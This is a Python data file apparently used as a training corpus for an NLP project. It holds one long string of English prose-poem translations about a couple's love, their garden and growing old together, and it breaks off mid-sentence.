plugins/microsoft_intune/icon_microsoft_intune/connection/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
386
2019-06-07T20:20:39.000Z
2022-03-30T17:35:01.000Z
plugins/microsoft_intune/icon_microsoft_intune/connection/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
43
2019-07-09T14:13:58.000Z
2022-03-28T12:04:46.000Z
# GENERATED BY KOMAND SDK - DO NOT EDIT import insightconnect_plugin_runtime import json class Input: CLIENT_ID = "client_id" CLIENT_SECRET = "client_secret" CREDENTIALS = "credentials" TENANT_ID = "tenant_id" URL = "url" class ConnectionSchema(insightconnect_plugin_runtime.Input): schema = json.loads(""" { "type": "object", "title": "Variables", "properties": { "client_id": { "type": "string", "title": "Client ID", "description": "Client ID, also called Application ID", "order": 3 }, "client_secret": { "type": "string", "title": "Client Secret", "description": "Client secret key", "order": 4 }, "credentials": { "$ref": "#/definitions/credential_username_password", "title": "Credentials", "description": "E-mail address and password", "order": 1 }, "tenant_id": { "type": "string", "title": "Tenant ID", "description": "Tenant ID can be found in Active Directory", "order": 5 }, "url": { "type": "string", "title": "Host URL", "description": "Base URL for the Microsoft endpoint", "default": "https://graph.microsoft.com", "order": 2 } }, "required": [ "client_id", "client_secret", "credentials", "tenant_id", "url" ], "definitions": { "credential_username_password": { "id": "credential_username_password", "type": "object", "title": "Credential: Username and Password", "description": "A username and password combination", "properties": { "password": { "type": "string", "title": "Password", "displayType": "password", "description": "The password", "format": "password", "order": 2 }, "username": { "type": "string", "title": "Username", "description": "The username to log in with", "order": 1 } }, "required": [ "username", "password" ] } } } """) def __init__(self): super(self.__class__, self).__init__(self.schema)
23.826087
66
0.53969
200
2,192
5.745
0.385
0.041775
0.078329
0.034813
0
0
0
0
0
0
0
0.004566
0.300639
2,192
91
67
24.087912
0.744945
0.01688
0
0.188235
1
0
0.841152
0.049698
0
0
0
0
0
1
0.011765
false
0.141176
0.023529
0
0.129412
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
3
15976db5627f2b2f1ae4e06c8c4af92638cb558c
6,942
py
Python
chess/game_component/pieces.py
bill-baggins/ChessPygame
79e3ec7be61a0bf56a72df81a241244d1903b68b
[ "MIT" ]
null
null
null
chess/game_component/pieces.py
bill-baggins/ChessPygame
79e3ec7be61a0bf56a72df81a241244d1903b68b
[ "MIT" ]
null
null
null
chess/game_component/pieces.py
bill-baggins/ChessPygame
79e3ec7be61a0bf56a72df81a241244d1903b68b
[ "MIT" ]
null
null
null
from dataclasses import dataclass from typing import Union, Tuple, List import pygame from chess.game_component.id import EntityIDType, EntityID @dataclass class ChessPiece: ent_id: EntityIDType texture: pygame.Surface pos: Union[List[int], Tuple[int, int]] def __init__(self, x: int, y: int, ent_id: EntityIDType = None, texture: pygame.Surface = None, empty: bool = True): if empty: self.ent_id = EntityID.Empty self.texture = self.ent_id[1] self.pos = (x, y) self.legal_moves = [] else: self.ent_id = ent_id self.texture = texture self.pos = (x, y) self.legal_moves = [] def change_id_to(self, new_id: EntityIDType): self.ent_id = new_id self.texture = new_id[1] def move(self, clicked_position: Tuple[int, int]): """ Attempts to move the chess piece to the specified Vector2 location on the grid. If the specified location is outside the bounds of the grid, then the player cannot move their chess piece there. The player also cannot move their piece to a area where another piece is (as a pawn) or where they will be put in check (as the king) :param clicked_position: The position the user has clicked on the grid. This position needs to be truncated to a grid coordinate, so that even if the user clicks an area that is near the edge of the window, it will not truncate the coordinate to outside of the grid array's bounds. :return: returns None """ raise NotImplementedError("This class method must be overridden.") def draw_to(self, board: pygame.Surface): """ Draws the chess piece to the board. Each chess piece should be the size of a grid square, and their drawn position is determined by its position on the grid. Do not override this function. :param board: The chess board, where the piece will be drawn. :return: """ board.blit(self.texture, self.pos) def show_legal_moves(self): """ Loops through the list of legal moves and highlights the surfaces present at each location on the grid. If one of the legal moves is outside of the grid, then it will not show it as a place to move to. These highlighted areas on each location of the grid will appear after a piece gets clicked on by the user. :return: None. None """ raise NotImplementedError("This class method must be overridden.") def get_legal_moves(self): """ Custom defined function for each piece class that governs how and where chess pieces are allowed to move within the grid. :return: """ raise NotImplementedError("This class method must be overridden.") def __repr__(self): return { EntityID.KingP1: "King", EntityID.KingP2: "King", EntityID.QueenP1: "Queen", EntityID.QueenP2: "Queen", EntityID.RookP2: "Rook", EntityID.RookP1: "Rook", EntityID.KnightP1: "Knight", EntityID.KnightP2: "Knight", EntityID.BishopP1: "Bishop", EntityID.BishopP2: "Bishop", EntityID.PawnP1: "Pawn", EntityID.PawnP2: "Pawn", }.get(self.ent_id, EntityID.Empty) class Empty(ChessPiece): def __init__(self, x: int, y: int, ent_id: EntityIDType = None, texture: pygame.Surface = None, empty: bool = True): super().__init__(x, y, ent_id, texture, empty) def move(self, clicked_position: Tuple[int, int]): pass def show_legal_moves(self): pass def get_legal_moves(self): pass class Pawn(ChessPiece): def __init__(self, x: int, y: int, ent_id: EntityIDType = None, texture: pygame.Surface = None, empty: bool = True): super().__init__(x, y, ent_id, texture, empty) self.on_first_move = True self.legal_moves = [] def move(self, clicked_position: Tuple[int, int]): pass def show_legal_moves(self): pass def get_legal_moves(self): pass class Rook(ChessPiece): def __init__(self, x: int, y: int, ent_id: EntityIDType = None, texture: pygame.Surface = None, empty: bool = True): super().__init__(x, y, ent_id, texture, empty) def move(self, clicked_position: Tuple[int, int]): pass def show_legal_moves(self): pass def get_legal_moves(self): pass class Knight(ChessPiece): def __init__(self, x: int, y: int, ent_id: EntityIDType = None, texture: pygame.Surface = None, empty: bool = True): super().__init__(x, y, ent_id, texture, empty) def move(self, clicked_position: Tuple[int, int]): pass def show_legal_moves(self): pass def get_legal_moves(self): pass class Bishop(ChessPiece): def __init__(self, x: int, y: int, ent_id: EntityIDType = None, texture: pygame.Surface = None, empty: bool = True): super().__init__(x, y, ent_id, texture, empty) def move(self, clicked_position: Tuple[int, int]): pass def show_legal_moves(self): pass def get_legal_moves(self): pass class Queen(ChessPiece): def __init__(self, x: int, y: int, ent_id: EntityIDType = None, texture: pygame.Surface = None, empty: bool = True): super().__init__(x, y, ent_id, texture, empty) def move(self, clicked_position: Tuple[int, int]): print("Hello") def show_legal_moves(self): pass def get_legal_moves(self): pass class King(ChessPiece): def __init__(self, x: int, y: int, ent_id: EntityIDType = None, texture: pygame.Surface = None, empty: bool = True): super().__init__(x, y, ent_id, texture, empty) def move(self, clicked_position: Tuple[int, int]): print("I got called!") def show_legal_moves(self): pass def get_legal_moves(self): pass
28.105263
84
0.550562
822
6,942
4.480535
0.203163
0.029867
0.06082
0.068422
0.533532
0.491176
0.491176
0.478686
0.46864
0.452892
0
0.003418
0.367761
6,942
246
85
28.219512
0.835726
0.213771
0
0.701987
0
0
0.036261
0
0
0
0
0
0
1
0.231788
false
0.125828
0.02649
0.006623
0.337748
0.013245
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
3
15bd93897e241df431bb6e63b3b73afa43bf646c
67,956
py
Python
Poems/data.py
weathon/NLP
ce60e7f898336ce40879b13e697bd7b320604705
[ "MIT" ]
null
null
null
Poems/data.py
weathon/NLP
ce60e7f898336ce40879b13e697bd7b320604705
[ "MIT" ]
null
null
null
Poems/data.py
weathon/NLP
ce60e7f898336ce40879b13e697bd7b320604705
[ "MIT" ]
null
null
null
# #dan \n -> none shuang # text="""O the splendour of our joy, woven of gold in thesilken air! # Here is our pleasant house and its airy gables,and the garden and the orchard. # Here is the bench beneath the apple-trees, whencethe white spring is shed in slow, caressingpetals. # Here flights of luminous wood-pigeons, likeharbingers, soar in the clear sky of thecountryside. # Here, kisses fallen upon earth from the mouth ofthe frail azure, are two blue ponds, simple andpure, artlessly bordered with involuntary flowers. # O the splendour of our joy and of ourselves inthis garden where we live upon our emblems. # Although we saw this bright garden, wherein wepass silently, flower before our eyes, it israther in us that grows the pleasantest andfairest garden in the world. # For we live all the flowers, all the plants andall the grasses in our laughter and our tears ofpure and calm happiness. # For we live all the transparencies of the bluepond that reflects the rich growths of the goldenroses and the great vermilion lilies, sun-lipsand mouths. # For we live all joy, thrown out in the criesof festival and spring of our avowals, whereinheartfelt and uplifting words sing side by side. # Oh! is it not indeed in us that grows thepleasantest and the gladdest garden in the world? # This barbaric capital, whereon monsters writhe,soldered together by the might of claw and tooth,in a mad whirl of blood, of fiery cries, ofwounds, and of jaws that bite and bite again, # This was myself before you were mine, you who arenew and old, and who, from the depths of youreternity, came to me with passion and kindness inyour hands. # I feel the same deep, deep things sleeping in youas in me, and our thirst for remembrance drink upthe echo in which our pasts answer each to each. # Our eyes must have wept at the same hours,without our knowing, during childhood, have hadthe same terrors, the same happinesses, the sameflashes of trust; # For I am bound to you by the unknown that watchedme of old down the avenues through which myadventurous life passed; and, indeed, if I hadlooked more closely, I might have seen, long ago,within its eyes your own eyes open. # The sky has unfolded into night, and the moonseems to watch over the sleeping silence. # All is so pure and clear; all is so pure and sopale in the air and on the lakes of the friendlycountryside, that there is anguish in the fallfrom a reed of a drop of water, that tinkles andthen is silent in the water. # But I have your hands between mine and yoursteadfast eyes that hold me so gently with theirearnestness; and I feel that you are so much atpeace with everything that nothing, not even afleeting suspicion of fear, will overcast, be itbut for a moment, the holy trust that sleeps inus as an infant rests. # Each hour I brood upon your goodness, so simplein its depth, I lose myself in prayers to you. # I came so late towards the gentleness of youreyes, and from so far towards your two handsstretched out quietly over the wide spaces. # I had in me so much stubborn rust that gnawed myconfidence with its ravenous teeth. # I was so heavy, was so tired, I was so old withmisgiving. # I was so heavy, I was so tired of the vain roadof all my footsteps. # I deserved so little the wondrous joy of seeingyour feet illuminate my path that I am stilltrembling and almost in tears, and humble, forever and ever, before my happiness. # Sometimes you wear the kindly grace of the gardenin early morning that, quiet and winding, unfoldsin the blue distances its pleasant paths, curvedlike the necks of swans. # And, at other times, you are for me the brightthrill of the swift, exalting wind that passeswith its lightning fingers through the waterymane of the white pond. # At the good touch of your two hands, I feel asthough leaves were caressing me lightly; and,when midday burns the garden, the shadows at oncegather up the dear words with which your beingtrembled. # Thus, thanks to you, each moment seems to pass inme divinely; so, at the hour of wan night, whenyou hide within yourself, shutting your eyes, youfeel my gentle, devout gaze, humbler and longerthan a prayer, thank yours beneath your closedeyelids. # Oh! let the passing hand knock with its futilefingers on the door; our hour is so unique, andthe rest--what matters the rest with its futilefingers? # Let dismal, tiresome joy keep to the road andpass on with its rattles in its hand. # Let laughter swell and clatter and die away; letthe crowd pass with its thousands of voices. # The moment is so lovely with light in the gardenabout us; the moment is so rare with virgin lightin our heart deep down in us. # Everything tells us to expect nothing more fromthat which comes or passes, with tired songs andweary arms, on the roads, # And to remain the meek who bless the day, evenwhen night is before us barricaded with darkness,loving in ourselves above all else the idea that,gently, we conceive of our love. # As in the simple ages, I have given you my heart,like a wide-spreading flower that opens pure andlovely in the dewy hours; within its moist petalsmy lips have rested. # The flower, I gathered it with fingers of flame;say nothing to it: for all words are perilous; itis through the eyes that soul listens to soul. # The flower that is my heart and my avowalconfides in all simplicity to your lips that itis loyal, bright and good, and that we trust invirgin love as a child trusts in God. # Leave wit to flower on the hills in freakishpaths of vanity; and let us give a simple welcometo the sincerity that holds our two true heartswithin its crystalline hands; # Nothing is so lovely as a confession of soulsone to the other, in the evening, when the flameof the uncountable diamonds burns like so manysilent eyes the silence of the firmaments. # Young and kindly spring who clothes our gardenwith beauty makes lucid our voices and words, andsteeps them in his limpidity. # The breeze and the lips of the leaves babble,and slowly shed in us the syllables of theirbrightness. # But the best in us turns away and flees materialwords; a mute and mild and simple rapture, betterthan all speech, moors our happiness to its trueheaven: # The rapture of your soul, kneeling in allsimplicity before mine, and of my soul, kneelingin gentleness before yours. # Come with slow steps and sit near the gardenbed,whose flowers of tranquil light are shut byevening; let the great night filter through you:we are too happy for our prayer to be disturbedby its sea of dread. # Above, the pure crystal of the stars is lit up;behold the firmament clearer and more translucentthan a blue pond or the stained-glass windowin an apse; and then behold heaven that gazesthrough. # The thousand voices of the vast mystery speakaround you; the thousand laws of all nature arein movement about you; the silver bows of theinvisible take your soul and its fervour fortarget, # But you are not afraid, oh! simple heart, youare not afraid, since your faith is that thewhole earth works in harmony with that love thatbrought forth in you life and its mystery. # Clasp then your hands tranquilly, and adoregently; a great counsel of purity floats likea strange dawn beneath the midnights of thefirmament. # How readily delight is aroused in her, with hereyes of fiery ecstasy, she who is gentle andresigned before life in so simple a fashion. # This evening, how a look surprised her fervourand a word transported her to the pure garden ofgladness, where she was at once both queen andservant. # Humble of herself, but aglow with our two selves,she vied with me in kneeling to gather thewondrous happiness that overflowed mutually fromour hearts. # We listened to the dying down in us of theviolence of the exalting love imprisoned in ourarms, and to the living silence that said wordswe did not know. # At the time when I had long suffered and thehours were snares to me, you appeared to me asthe welcoming light that shines from the windowson to the snow in the depths of winter evenings. # The brightness of your hospitable soul touched myheart lightly without wounding it, like a hand oftranquil warmth. # Then came a holy trust, and an open heart, andaffection, and the union at last of our twoloving hands, one evening of clear understandingand of gentle calm. # Since then, although summer has followed frostboth in ourselves and beneath the sky whoseeternal flames deck with gold all the paths ofour thoughts; # And although our love has become an immenseflower, springing from proud desire, that everbegins anew within our heart, to grow yet better; # I still look back on the small light that wassweet to me, the first. # And what matters the wherefores and the reasons,and who we were and who we are; all doubt is deadin this garden of blossoms that opens up in usand about us, so far from men. # I do not argue, and do not desire to know, andnothing will disturb what is but mystery andgentle raptures and involuntary fervour andtranquil soaring towards our heaven of hope. # I feel your brightness before understanding thatyou are so; and it is my gladness, infinitely, toperceive myself thus gently loving without askingwhy your voice calls me. # Let us be simple and good--and day be minister oflight and affection to us; and let them say thatlife is not made for a love like ours. # In my dreams, I sometimes pair you with thosequeens who slowly descend the golden, floweredstairways of legend; I give you names that aremarried with beauty, splendour and gladness, andthat rustle in silken syllables along versesbuilt as a platform for the dance of words andtheir stately pageantries. # But how quickly I tire of the game, seeing yougentle and wise, and so little like those whoseattitudes men embellish. # Your brow, so shining and pure and white withcertitude, your gentle, childlike hands peacefulupon your knees, your breasts rising and fallingwith the rhythm of your pulse that beats likeyour immense, ingenuous heart, # Oh! how everything, except that and your prayer,oh! how everything is poor and empty, except thelight that gazes at me and welcomes me in yournaked eyes. # I dedicate to your tears, to your smile, mygentlest thoughts, those I tell you, those alsothat remain undefined and too deep to tell. # I dedicate to your tears, to your smile, to yourwhole soul, my soul, with its tears and itssmiles and its kiss. # See, the dawn whitens the ground that is thecolour of lees of wine; shadowy bonds seem toslip and glide away with melancholy; the waterof the ponds grows bright and sifts its noise;the grass glitters and the flowers open, and thegolden woods free themselves from the night. # Oh! what if we could one day enter thus into thefull light; oh, what if we could one day, withconquering cries and lofty prayers, with no moreveils upon us and no more remorse in us, oh! whatif we could one day enter together into lucidlove. # I drown my entire soul in your two eyes, andthe mad rapture of that frenzied soul, so that,having been steeped in their gentleness andprayer, it may be returned to me brighter and oftruer temper. # O for a union that refines the being, as twogolden windows in the same apse cross theirdifferently lucent fires and interpenetrate! # I am sometimes so heavy, so weary of being onewho cannot be perfect, as he would! My heartstruggles with its desires, my heart whose evilweeds, between the rocks of stubbornness, rearslyly their inky or burning flowers; # My heart, so false, so true, as the day may be,my contradictory heart, my heart ever exaggeratedwith immense joy or with criminal fear. # To love with our eyes, let us lave our gaze ofthe gaze of those whose glances we have crossed,by thousands, in life that is evil and enthralled. # The dawn is of flowers and dew and the mildestsifted light; soft plumes of silver and sun seemthrough the mists to brush and caress the mossesin the garden. # Our blue and marvellous ponds quiver and come tolife with shimmering gold; emerald wings passunder the trees; and the brightness sweeps fromthe roads, the garths and the hedges the dampashen fog in which the twilight still lingers. # In the garden of our love, summer still goeson: yonder, a golden peacock crosses an avenue;petals--pearls, emeralds, turquoises --deck theuniform slumber of the green swards. # Our blue ponds shimmer, covered with thewhite kiss of the snowy water-lilies; in thequincunxes, our currant bushes follow one anotherin procession; an iridescent insect teases theheart of a flower; the marvellous undergrowthsare veined with gleams; and, like light bubbles,a thousand bees quiver along the arbours over thesilver grapes. # The air is so lovely that it seems rainbow-hued;beneath the deep and radiant noons, it stirsas if it were roses of light; while, in thedistance, the customary roads, like slowmovements stretching their vermilion to thepearly horizon, climb towards the sun. # Indeed, the diamonded gown of this finesummer clothes no other garden with so pure abrightness. And the unique joy sprung up inour two hearts discovers its own life in theseclusters of flames. # May your bright eyes, your eyes of summer, be forme here on earth the images of goodness. # Let our enkindled souls clothe with gold eachflame of our thoughts. # May my two hands against your heart be for youhere on earth the emblems of gentleness. # Let us live like two frenzied prayers strainingat all hours one towards the other. # May our kisses on our enraptured mouths be for ushere on earth the symbols of our life. # Tell me, my simple and tranquil sweetheart, tellme how much an absence, even of a day, saddensand stirs up love, and reawakens it in all itssleeping scalds? # I go to meet those who are returning from thewondrous distances to which at dawn you went; Isit beneath a tree at a bend of the path, and, onthe road, watching their coming, I gaze and gazeearnestly at their eyes still bright with havingseen you. # And I would kiss their fingers that have touchedyou, and cry out to them words they would notunderstand; and I listen a long while to therhythm of their steps towards the shadow wherethe old evenings hold night prone. # During those hours wherein we are lost so farfrom all that is not ourselves, what lustralblood or what baptism bathes our hearts thatstrain towards all love? # Clasping our hands without praying, stretchingout our arms without crying aloud, but withearnest and ingenuous mind worshipping somethingfarther off and purer than ourselves, we know notwhat, how we blend with, how we live our livesin, the unknown. # How overwhelmed we are in the presence of thosehours of supreme existence; how the soul desiresheavens in which to seek for new gods. # Oh! the torturing and wondrous joy and the daringhope of being one day, across death itself, theprey of these silent terrors. # Oh! this happiness, sometimes so rare and frailthat it frightens us! # In vain we hush our voices, and make of all yourhair a tent to shelter us; often the anguish inour hearts flows over. # But our love, being like a kneeling angel, begsand supplicates that the future give to othersthan ourselves a like affection and life, so thattheir fate may not be envious of ours. # And, too, on evil days, when the great eveningsextend to heaven the bounds of despair, we askforgiveness of the night that kindles with thegentleness of our heart. # Let us, in our love and ardour, let us live soboldly our finest thoughts that they interweavein harmony with the supreme ecstasy and perfectfervour. # Because in our kindred souls something more holythan we and purer and greater awakens, let usclasp hands to worship it through ourselves. # It matters not that we have only cries or tearsto define it humbly, and that its charm is sorare and powerful that, in the enjoyment of it,our hearts are nigh to failing us. # Even so, let us remain, and for ever, the maddevotees of this almost implacable love, and thekneeling worshippers of the sudden God who reignsin us, so violent and so ardently gentle that hehurts and overwhelms us. # So soon as our lips touch, we feel so much moreluminous together that it would seem as thoughtwo Gods loved and united in us. # We feel our hearts to be so divinely fresh andso renewed by their virgin light that, in theirbrightness, the universe is made manifest to us. # In our eyes, joy is the only ferment of the worldthat ripens and becomes fruitful innumerably onour roads here below; as in clusters spring upamong the silken lakes on which sails travel themyriad blossoms of the stars above. # Order dazzles us as fire embers, everythingbathes us in its light and appears a torch to us:our simple words have a sense so lovely that werepeat them to hear them without end. # We are the sublime conquerors who vanquisheternity without pride and without a thought oftrifling time: and our love seems to us always tohave been. # To prevent the escape of any part of us from ourembrace that is so intense as to be holy, and tolet love shine clear through the body itself, wego down together to the garden of the flesh. # Your breasts are there like offerings and yourtwo hands are stretched out to me; and nothing isof so much worth as the simple provender of wordssaid and heard. # The shadow of the white boughs travels over yourneck and face, and your hair unloosens its bloomin garlands on the swards. # The night is all of blue silver; the night is alovely silent bed--gentle night whose breezes,one by one, will strip the great lilies erect inthe moonlight. # Although autumn this evening along the paths andthe woods' edges lets the leaves fall slowly likegilded hands; # Although autumn this evening with its arms ofwind harvests the petals and their pallor of theearnest rose-trees; # We shall let nothing of our two souls fallsuddenly with these flowers. # But before the flames of the golden hearth ofmemory, we will both crouch and warm our handsand knees. # To guard against the sorrows hidden in thefuture, against time that makes an end of allardour, against our terror and even againstourselves, we will both crouch near the hearththat our memory has lit up in us. # And if autumn involves the woods, the lawns andthe ponds in great banks of shadow and soaringstorms, at least its pain shall not disturb theinner quiet garden where the equal footsteps ofour thoughts walk together in the light. # The gift of the body when the soul is given isbut the accomplishment of two affections drawnheadlong one towards the other. # You are only happy in your body that is so lovelyin its native freshness because in all fervouryou may offer it to me wholly as a total alms. # And I give myself to you knowing nothing exceptthat I am greater by knowing you, who are everbetter and perhaps purer since your gentle bodyoffered its festival to mine. # Love, oh! let it be for us the sole discernmentand the sole reason of our heart, for us whosemost frenzied happiness is to be frenzied in ourtrust. # Was there in us one fondness, one thought, onegladness, one promise that we had not sown beforeour footsteps? # Was there a prayer heard in secret whose handsstretched out gently over our bosom we had notclasped? # Was there one appeal, one purpose, one tranquilor violent desire whose pace we had not quickened? # And each loving the other thus, our hearts wentout as apostles to the gentle, timid and chilledhearts of others; # And by the power of thought invited them tofeel akin to ours, and, with frank ardours, toproclaim love, as a host of flowers loves thesame branch that suspends and bathes it in thesun. # And our soul, as though made greater in thisawakening, began to celebrate all that loves,magnifying love for love's sake, and to cherishdivinely, with a wild desire, the whole worldthat is summed up in us. # The lovely garden blossoming with flames thatseemed to us the double or the mirror of thebright garden we carried in our hearts iscrystallized in frost and gold this evening. # A great white silence has descended and sitsyonder on the marble horizons, towards whichmarch the trees in files, with their blue,immense and regular shadow beside them. # No puff of wind, no breath. Alone, the greatveils of cold spread from plain to plain over thesilver marshes or crossing roads. # The stars appear to live. The hoar-frost shineslike steel through the translucent, frozen air.Bright powdered metals seem to snow down, in theinfinite distances, from the pallor of a coppermoon. Everything sparkles in the stillness. # And it is the divine hour when the mind ishaunted by the thousand glances that are castupon earth by kind and pure and unchangeableeternity towards the hazards of humanwretchedness. # If it should ever happen that, without ourknowledge, we became a pain or torment or despairone to the other; # If it should come about that weariness orhackneyed pleasure unbent in us the golden bow oflofty desire; # If the crystal of pure thought must fall in ourhearts and break; # If, in spite of all, I should feel myselfvanquished because I had not bowed my willsufficiently to the divine immensity of goodness; # Then, oh! then let us embrace like two sublimemadmen who beneath the broken skies cling to thesummits even so--and with one flight and soulablaze grow greater in death. # THE HOURS OF AFTERNOON # Step by step, day by day, age has come and placedhis hands upon the bare forehead of our love, andhas looked upon it with his dimmer eyes. # And in the fair garden shrivelled by July, theflowers, the groves and the living leaves havelet fall something of their fervid strength onto the pale pond and the gentle paths. Here andthere, the sun, harsh and envious, marks a hardshadow around his light. # And yet the hollyhocks still persist in theirgrowth towards their final splendour, and theseasons weigh upon our life in vain; more thanever, all the roots of our two hearts plungeunsatiated into happiness, and clutch, and sinkdeeper. # Oh! these hours of afternoon girt with roses thattwine around time, and rest against his benumbedflanks with cheeks aflower and aflame! # And nothing, nothing is better than to feel thus,still happy and serene, after how many years?But if our destiny had been quite different, andwe had both been called upon to suffer--eventhen!--oh! I should have been happy to live anddie, without complaining, in my stubborn love. # Roses of June, you the fairest with your heartstransfixed by the sun; violent and tranquilroses, like a delicate flock of birds settled onthe branches; # Roses of June and July, upright and new, mouthsand kisses that suddenly move or grow still withthe coming and going of the wind, caress ofshadow and gold on the restless garden; # Roses of mute ardour and gentle will, roses ofvoluptuousness in your mossy sheaths, you whospend the days of high summer loving each otherin the brightness; # Fresh, glowing, magnificent roses, all our roses,oh! that, like you, our manifold desires, in ourdear weariness or trembling pleasure, might loveand exalt each other and rest! # If other flowers adorn the house and thesplendour of the countryside, the pure pondsshine still in the grass with the great eyes ofwater of their mobile face. # Who can say from what far-off and unknowndistances so many new birds have come with sun ontheir wings? # In the garden, April has given way to July, andthe blue tints to the great carnation tints;space is warm and the wind frail; a thousandinsects glisten joyously in the air; and summerpasses in her robe of diamonds and sparks. # The darkness is lustral and the dawn iridescent.From the lofty branch whence a bird flies, thedew-drops fall. # A lucid and frail purity adorns a morning sobright that prisms seem to gleam in the air. Aspring babbles; a noise of wings is heard. # Oh! how beautiful are your eyes at that firsthour when our silver ponds shimmer in the lightand reflect the day that is rising. Your foreheadis radiant and your blood beats. # Intense and wholesome life in all its divinestrength enters your bosom so completely, like adriving happiness, that to contain its anguishand its fury, your hands suddenly take mine, andpress them almost fearfully against your heart. # I bring you this evening, as an offering, my joyat having plunged my body into the silk and goldof the frank and joyous wind and the gorgeoussun; my feet are bright with having walked amongthe grasses; my hands sweet with having touchedthe heart of flowers; my eyes shining at havingfelt the tears suddenly well up and spring intothem before the earth in festival and its eternalstrength. # Space has carried me away drunken and ferventand sobbing in its arms of moving brightness;and I have passed I know not where, far away inthe distance, with pent-up cries set free by myfootsteps. # I bring you life and the beauty of the plainsbreathe them on me in a good, frank breath; themarjoram has caressed my fingers, and the air andits light and its perfumes are in my flesh. # Let us both sit down on the old worm-eaten benchnear the path; and let my hand remain a longwhile within your two steadfast hands. # With my hand that remains a long while givenup to the sweet consciousness of being on yourknees, my heart also, my earnest, gentle heart,seems to rest between your two kind hands. # And we share an intense joy and a deep love tofeel that we are so happy together, without oneover-strong word to come trembling to our lips,or one kiss even to go burning towards your brow. # And we would prolong the ardour of this silenceand the stillness of our mute desires, were itnot that suddenly, feeling them quiver, I clasptightly, without willing it, your thinking hands; # Your hands in which my whole happiness is hidden,and which would never, for anything in the world,deal violently with those deep things we live by,although in duty we do not speak of them. # Gently, more gently still, cradle my head in yourarms, my fevered brow and my weary eyes; # Gently, more gently still, kiss my lips, andsay to me those words that are sweeter at eachdawn when your voice repeats them, and you havesurrendered, and I love you still. # The day rises sullen and heavy; the night wascrossed by monstrous dreams; the rain and itslong hair whip our casement, and the horizon isblack with clouds of grief. # Gently, more gently still, cradle my head in yourarms, my fevered brow and my weary eyes; you aremy hopeful dawn, with its caress in your handsand its light in your sweet words; # See, I am re-born, without pain or shock, to thedaily labour that traces its mark on my road,and instils into my life the will to be a weaponof strength and beauty in the golden grasp of anhonoured life. # In the house chosen by our love as itsbirth-place, with its cherished furniturepeopling the shadows and the nooks, where we livetogether, having as sole witnesses the roses thatwatch us through the windows, # Certain days stand out of so great a consolation,certain hours of summer so lovely in theirsilence, that sometimes I stop time that swingswith its golden disc in the oaken clock. # Then the hour, the day, the night is so much oursthat the happiness that hovers lightly over ushears nothing but the throbbing of your heart andmine that are brought close together by a suddenembrace. # The pleasant task with the window open and theshadow of the green leaves and the passage ofthe sun on the ruddy paper, maintains the gentleviolence of its silence in our good and pensivehouse. # And the flowers bend nimbly and the large fruitsshine from branch to branch, and the blackbirds,the bullfinches and the chaffinches sing andsing, so that my verses may burst forth clear andfresh, pure and true, like their songs, theirgolden flesh and their scarlet petals. # And I see you pass in the garden, sometimesmingled with the sun and shadow; but your headdoes not turn, so that the hour in which I workjealousy at these frank and gentle poems may notbe disturbed. # In the depth of our love dwells all faith; webind up a glowing thought together with the leastthings: the awakening of a bud, the decline of arose, the flight of a frail and beautiful birdthat, by turns, appears or disappears in theshadow or the light. # A nest falling to pieces on the mossy edge ofa roof and ravaged by the wind fills the mindwith dread. An insect eating the heart of thehollyhocks terrifies: all is fear, all is hope. # Though reason with its sharp and soothing snowmay suddenly cool these charming pangs, whatmatters! Let us accept them without inquiringovermuch into the false, the true, the evil orthe good they portend; # Let us be happy that we can be as children,believing in their fatal or triumphant power, andlet us guard with closed shutters against toosensible people. # Dawn, darkness, evening, space and the stars;that which the night conceals or shows betweenits veils is mingled with the fervour of ourexalted being. Those who live with love live witheternity. # It matters not that their reason approve orscoff, and, upright on its high walls, hold outto them, along the quays and harbours, its brighttorches; they are the travellers from beyond thesea. # Far off, farther than the ocean and its blackfloods, they watch the day break from shore toshore; fixed certainty and trembling hope presentthe same front to their ardent gaze. # Happy and serene, they believe eagerly; theirsoul is the deep and sudden brightness with whichthey burn the summit of the loftiest problems;and to know the world, they but scrutinizethemselves. # They follow distant roads chosen by themselves,living with the truths enclosed within theirsimple, naked eyes, that are deep and gentle asthe dawn; and for them alone there is still songin paradise. # This is the holy hour when the lamp is lit:everything is calm and comforting this evening;and the silence is such that you could hear thefalling of feathers. # This is the holy hour when gently the belovedcomes, like the breeze or smoke, most gently,most slowly. At first, she says nothing--and Ilisten; and I catch a glimpse of her soul, thatI hear wholly, shining and bursting forth; and Ikiss her on the eyes. # This is the holy hour when the lamp is lit, whenthe acknowledgment of mutual love the whole daylong is brought forth from the depths of our deepbut transparent heart. # And we each tell the other of the simplestthings: the fruit gathered in the garden, theflower that has opened between the green mosses;and the thought that has sprung from somesudden emotion at the memory of a faded word ofaffection found at the bottom of an old drawer ona letter of yesteryear. # The dead kisses of departed years have put theirseal on your face, and, beneath the melancholyand furrowing wind of age, many of the roses inyour features have faded. # I see your mouth and your great eyes glow no morelike a morning of festival, nor your head slowlyrecline in the black and massive garden of yourhair. # Your dear hands, that remain so gentle, approachno more as in former years with light at theirfinger-tips to caress my forehead, as dawn themosses. # Your young and lovely body that I adorned withmy thoughts has no longer the pure freshness ofdew, and your arms are no longer like the brightbranches. # Alas! everything falls and fades ceaselessly;everything has changed, even your voice; yourbody has collapsed like a pavise, and let fallthe victories of youth. # But nevertheless my steadfast and earnest heartsays to you: what are to me the years madeheavier day by day, since I know that nothing inthe world will disturb our exalted life, and thatour soul is too profound for love still to dependon beauty? # For fifteen years our thoughts have run together,and our fine and serene ardour has vanquishedhabit, the dull-voiced shrew whose slow, roughhands wear out the most stubborn and thestrongest love. # I look at you and I discover you each day, sointimate is your gentleness or your pride: timeindeed obscures the eyes of your beauty, but itexalts your heart, whose golden depths peep open. # Artlessly, you allow yourself to be probed andknown, and your soul always appears fresh andnew; with gleaming masts, like an eager caravel,our happiness covers the seas of our desires. # It is in us alone that we anchor our faith, tonaked sincerity and simple goodness; we moveand live in the brightness of a joyous andtranslucent trust. # Your strength is to be infinitely pure and frail;to cross with burning heart all dark roads, andto have preserved, in spite of mist or darkness,all the rays of the dawn in your childlike soul. # I thought our joy 